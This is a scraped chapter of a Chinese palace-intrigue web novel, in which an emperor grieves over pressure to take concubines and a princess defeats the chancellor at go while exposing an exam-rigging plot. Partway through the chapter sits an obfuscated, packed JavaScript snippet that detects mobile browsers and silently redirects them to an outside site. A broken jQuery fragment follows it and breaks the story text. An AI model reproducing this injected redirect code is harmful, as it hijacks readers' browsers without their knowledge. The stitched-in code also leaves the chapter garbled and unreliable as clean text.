默认冷灰
24号文字
方正启体

14. 棋中局

作者:明月怀寒本书字数:K更新时间:
    皇宫之中,听完李琅月汇报的李宣大发雷霆,将御案上的奏折全部扫落在地。


    “裴松龄这个老匹夫!”


    李宣双目猩红,额头、脖子和手背都布满了狰狞的青筋,如果裴松龄此时站在他的面前,他一定会直接将他撕碎!


    都说帝王之怒,伏尸百万,流血漂杵。可李宣现在竟然完全不能拿裴松龄怎么样。


    “你要怎么做?”


    李宣问李琅月,强迫自己冷静下来,用帝王的方式,去思考去筹谋。


    “裴松龄自己把刀递到我们的手里,就没有不用的道理。只是……”李琅月双眉紧锁,“陛下若是决定这么做,还是应该把前因后果同皇后说明白,以免皇后因误会而伤心难过。”


    误会?李宣颓然地跌坐在御座上,胃病突然又发作起来,一片翻江倒海搅得李宣渗出涔涔冷汗,却依旧不得不强打精神维持帝王尊严。


    “阿宁不会误会我,不会不信我,她只会自责愧疚,只会自己伤心难过……”


    李宣痛苦地捂住脸,每每回想起阿宁分娩的那天,他仍然止不住地后怕。


    雷雨交加的夜晚,产房里起初还能传出阿宁因分娩之痛而传出的惨叫,可到后面,阿宁的声音越来越小。


    宫女们神色慌乱地端着一盆又一盆的血水进进出出,产婆不停地叫唤:“王妃,使劲啊,不能睡过去!使劲啊!”


    五内俱焚的李宣几次三番地想要冲进产房,被太监宫女全部拦在外面。


    “殿下,产房凶险!您不能进去!会冲撞您的贵体!”


    那时,李宣也不过是个少年,明面上贵为皇子,实际上备受冷落与白眼。


    他不求此生荣华富贵,只想与他的阿宁长长久久。


    没有阿宁,他也不想活了。


    李宣顾不得所有的规矩,挣脱那些苦苦哀求的宫人,疯了似的直接冲进产房,跪在气力几乎耗尽的赵蕙宁的面前。


    “阿宁,你一定不能有事,一定不能……不能丢下我!”


    李宣在心中祈求上苍,他愿用自己的阳寿,来□□儿平安无虞。


    上天似乎听到了少年的哀求,赵蕙宁为他生了一个可爱的女儿,母女平安。


    那次生产伤了赵蕙宁的身体根本,辛院正下的诊断是,哪怕悉心调养,赵蕙宁也很难再受孕。


    这也正合李宣心意。他舍不得他的阿宁再受生育之苦,无法再眼睁睁地看着他的阿宁从鬼门关再走一遭。


    李宣不在乎有没有儿子,他有妻女长伴身侧已经知足了。


    可是阴差阳错,李宣自己也想不到,他竟然成为了大昭新皇。


    从此,子嗣不再只是他的私事,成为了大昭的国事。


    那些吃饱没事干的文武百官,不把心思放在苍生疾苦之上,只一个劲地盯着他的后宫子嗣,不断给他施加压力,要他广纳妃嫔,绵延子嗣。


    更有甚者,直指阿宁身份低微,膝下无子,无才无德,理应废后。


    李琅月知道李宣心中的苦楚。这么多年,赵蕙宁因为无法为李宣诞育子嗣而始终心怀愧疚,甚至还主动劝李宣纳妾。


    没有任何女人愿意与其他人分享自己的丈夫。


    除非,她不愿看到自己的丈夫被步步紧逼,受人胁迫。


    “皇后那边,我也会同她解释。”


    李琅月望了一眼痛苦不堪的李宣,将掉落在地的奏折捡起,最上面那一本,又是李进甫弹劾她的折子。


    “陛下也请多多保重。”


    众生皆苦,她能给李宣的,也只有这么一句劝慰。


    夜晚,皇后的清宁宫中,李宣已经连续好几日,每夜都狠狠地折腾着赵蕙宁,表现出近乎疯狂的占有欲,在她的身体上不断地留下自己的印迹,直到精疲力竭。


    李宣将赵蕙宁抱在怀里,将脸深深地埋入赵蕙宁的脖颈,用力地恨不能将人嵌入自己的血脉之中。


    颈边滴落温热的液体,那是李宣的眼泪。


    “十三郎,别怕……”赵蕙宁一下一下地轻轻拍着李宣的后背,“我在,我一直在。”


    “阿宁……不要离开我……不要……”


    李宣可以失去所有,他甚至可以不做这个皇帝。


    但他不能失去赵蕙宁。


    “臣妾不会离开陛下的,永远不会。”赵蕙宁温柔地吻上李宣的额头,“德昭都和臣妾说明白了,只是逢场作戏罢了,不要紧的。”


    “我以为,只要做了这个皇帝,就不会让你再受委屈了。”


    可他还是让她受了这么多的委屈。


    “臣妾不委屈的,只是福安……福安不懂事,一定又和陛下闹了。这些日子,陛下多多担待她。”


    “不是她不懂事,是我不好,是我……”


    李宣实在太累了,抱着赵蕙宁沉沉睡去。


    只是他的梦里也在哭,即使做了皇帝,也还是和当年那个少年一样,惶恐不安,害怕失去。


    科举在即,在部分举子仍对李琅月与沈不寒知贡举一事不满抗议时,另一条流言传遍了整个圣都。


    据说,圣上之所以临时将礼部侍郎卢朝阳换成定国公主,是因为素来就瞧不上寒门的右相李进甫与礼部早就串通一气,要求今年科举只能擢拔贵族子弟,凡是出身寒门者,一概黜落。


    消息一经传开,天下哗然。


    刑部、大理寺、御史台,还有国朝第一学府稷下学宫门前,每天都聚集者来自全国各地的举子,举子们写诉状递交联名书,要求彻查右相和礼部。


    李进甫被停职,由定国公主李琅月代行右相之权。


    这桩案子,最后没有落到刑部、大理寺和御史台这三法司任何一家头上,由凤翔卫全权查办。


    凤翔卫的人整日在李进甫以及相关官员的宅邸中进进出出,近乎抄家似的搜查证据,闹得整个圣都满城风雨人心惶惶。


    凤翔卫的阴狠手段,足令天下都闻风丧胆,李进甫进了凤翔卫,整个李家都算到头了。


    凤翔卫的诏狱中,和众人猜想的截然不同,李进甫没有惨遭严刑拷打,反而被好吃好喝地奉为上宾。


    一道棋枰的两侧,分别坐着李琅月和李进甫。棋盘之上,黑白纵横,风云四起。


    “李相公,您输了。”


    “啪嗒——”一声,李琅月手中的黑子落下,李进甫所持白棋,再也无路可走。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499763|170287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杀伐凌厉,进退有度,苦心孤诣,步步筹谋。


    输给李琅月,李进甫心服口服。


    “公主的棋术当真高妙,都是和苏先生学的?”


    “一半是和师父学的,另一半……”李琅月随意地抛起手中剩余的棋子,接着又稳稳接住,“另一半是生死一线之际,自己悟的。”


    李进甫看着面前不矜不骄的女子,眉头深拧。


    李进甫自认棋术不差,但自开局以来,就一直被李琅月牵着走,落败认输从李琅月落下第一枚棋子的时候,似乎就成了注定的结局。


    面前人不过二十刚出头的年纪,又是一个女子,从丝毫不受重视全无母族依仗的落魄公主,到名扬天下史无前例的科考榜眼,再到手握大权威震四海的藩镇节帅——


    和李进甫料想的一样,李琅月这样的人,肯老老实实被安排去和亲才有鬼了。现在闹出这么大动静,反而才是正常的。


    只是,李进甫完全猜不透李琅月求什么。


    “公主为什么帮我?又为什么信我?”


    李进甫深知自己与李琅月和沈不寒的关系一向不和,朝中弹劾李琅月和沈不寒的折子有不少都是他的手笔。


    不止如此,他还积极赞成李琅月前往西戎和亲,反对她与沈不寒主持科举。


    怎么想,李琅月和沈不寒都没有帮他的理由。


    李琅月闻言笑道:“相公奖善嫉恶、铁血手腕,自是一代名臣,只是为人过于迂阔。”


    “和相公反对女子干政,宦官专权一样,相公总是喜欢端着高门士族的架子打击寒门,无非就是想证明,士族就是比寒门要强,百年望族的深厚涵养和敏锐洞见,不是几个寒门子弟埋头苦读,弄一些华章辞藻,掉几句书袋子就能比下去的。”


    “可徇私舞弊、以权谋私这等丑事,本宫也相信,相公断然是做不出来的。”


    李琅月笑靥如花,不疾不徐地便道出李进甫这些年政治立场的关键:“有人想借本宫的手除掉相公,再端掉礼部,好换上自己的人。本宫也不过顺水推舟,只能先委屈相公一阵,好揪出背后真正想把科举的水搅浑,再浑水摸鱼坐收渔利之人。”


    李进甫目光凌厉,对李琅月抱着深深的打量与怀疑。


    “你又是凭什么赢得那人的信任的?”


    “他让本宫帮他劝陛下充盈后宫,广纳妃嫔,他便可帮本宫除掉您,保本宫不必前往西戎和亲。”


    一语惊起千层浪。


    李进甫回想起不久前朝堂之上,李琅月借着自己和亲的由头,无意间提到了李宣的后宫,谏言李宣遴选名门淑女进入后宫,替皇家开枝散叶。


    李琅月的话术特别巧妙,话里话外的意思是,这一次她替福安公主挡了这次和亲的祸事,可若是陛下始终只有福安公主这一个女儿,下一次可就没人再替福安公主挡灾了。


    一向以故剑情深自居的李宣,脸色虽然极其难看,但还是松口表示会考虑考虑。


    当时李进甫还只当这是好事,满朝文武苦口婆心劝李宣纳妃劝了这么久,李宣都不为所动,这次总算要认清现实了。


    原来这背后,竟然有这么深的水……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)